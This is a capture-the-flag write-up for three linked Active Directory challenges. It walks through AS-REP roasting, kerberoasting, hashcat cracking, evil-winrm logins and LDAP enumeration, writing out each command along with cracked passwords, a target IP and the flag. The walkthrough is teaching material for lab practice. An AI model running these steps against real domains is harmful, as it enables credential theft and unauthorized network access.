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119 lines
3.7 KiB
Markdown
119 lines
3.7 KiB
Markdown
# Blemflarck
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This challenge is related to Active Directory in which we are given these files, `admins.txt` , `hosts` and `nmap.txt`
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<img src="https://i.imgur.com/blefZnn.png"/>
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admins.txt contains a list of usernames
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<img src="https://i.imgur.com/17hPdnK.png"/>
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nmap.txt contains result of nmap of the domain controller
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<img src="https://i.imgur.com/qZymuxN.png"/>
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and `hosts` contains the IP and domain name of the target
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<img src="https://i.imgur.com/v5QlqoD.png"/>
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Now to start solving this, we have a list of usernames of the domain, need to verfiy which users are valid on the domain for that we can use `kerbrute`
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<img src="https://i.imgur.com/hSxMEcf.png"/>
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We can try performing AS-REP roasting using `GetNPUsers` from `impacket` in which the user `shreya` doesn't have pre-authentication set so without providing a valid password for the user we can request for his TGT
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```bash
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GetNPUsers.py vindicators.space/ -usersfile ./admins.txt -request
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```
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<img src="https://i.imgur.com/HAZ2yXJ.png"/>
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To crack this we can use `hashcat` with mode `18200
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```bash
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hashcat -a 0 -m 18200 ./hash.txt /usr/share/wordlists/rockyou.txt --force
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```
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<img src="https://i.imgur.com/Q1YpH6e.png"/>
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This will crack the hash with password `$anturce77RioGr@ndePR`
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<img src="https://i.imgur.com/oeWS1ys.png"/>
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Now having the credentials we can login through WinRM which is running on port 5985 using `evil-winrm`
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```bash
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evil-winrm -i 34.218.188.252 -u 'shreya' -p ''
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```
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After logging in we can get the flag for this challenge
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<img src="https://i.imgur.com/3vJfhCJ.png"/>
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## PhoenixPerson
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<img src="https://i.imgur.com/ElPQQ9s.png"/>
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This challenge is continuation from the first one, we have a valid set of credential, we can try using kerberoasting, if there's a SPN tied to an account we can request for TGS and later crack it
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```bash
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GetUserSPNs.py vindicators.space/shreya -request
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```
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<img src="https://i.imgur.com/jTxv1iK.png"/>
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Runing hashcat to crack this hash
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<img src="https://i.imgur.com/mrkWL6I.png"/>
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<img src="https://i.imgur.com/4Ju33Rh.png"/>
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Now logging with mirage user
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```bash
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evil-winrm -i 34.218.188.252 -u 'mirage' -p '!@#New_Life87!@#'
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```
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<img src="https://i.imgur.com/AYNENVw.png"/>
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## DAB-389 b
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<img src="https://i.imgur.com/EDJ4n2x.png"/>
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This challenge is the last part of AD category where we need to find the third flag through the user `mirage`
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From the description the number 389 is referrenced as LDAP which is the port number for that service, we need to enumerate LDAP, there's a tool called `ldapdomaindump`
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```bash
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ldapdomaindump -u 'mirage' -p '!@#New_Life87!@#' ldap://34.218.188.252
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```
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<img src="https://i.imgur.com/Z5r7m9p.png"/>
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This will generate some html files for users, groups and computers in the domain, going through the `domain_users.html` file we'll get the first part of the flag
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<img src="https://i.imgur.com/npDFACX.png"/>
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<img src="https://i.imgur.com/icvuQ4s.png"/>
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The second part will be found from `domain_computers.html`
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<img src="https://i.imgur.com/szr19bM.png"/>
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And the third one from `domain_groups.html`
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<img src="https://i.imgur.com/kpF554N.png"/>
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We can get the flag through `grep` as well by using regular expression
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<img src="https://i.imgur.com/w1hyD7J.png"/>
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Which makes the final flag
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```
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flag{3fe05494a09ac38bb5199698b475c48c_LD4P_3num3r4t10n_FTW_:)}
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```
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There were good challenges and a lot of categories including web3, cloud and source code review which I haven't done before, due to me doing "real world assesments" I wasn't able to touch the rest of the challenges
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<img src="https://i.imgur.com/PTZoCop.png"/>
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## References
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- https://hashcat.net/wiki/doku.php?id=example_hashes
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- https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
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- https://www.cyberciti.biz/faq/grep-regular-expressions/
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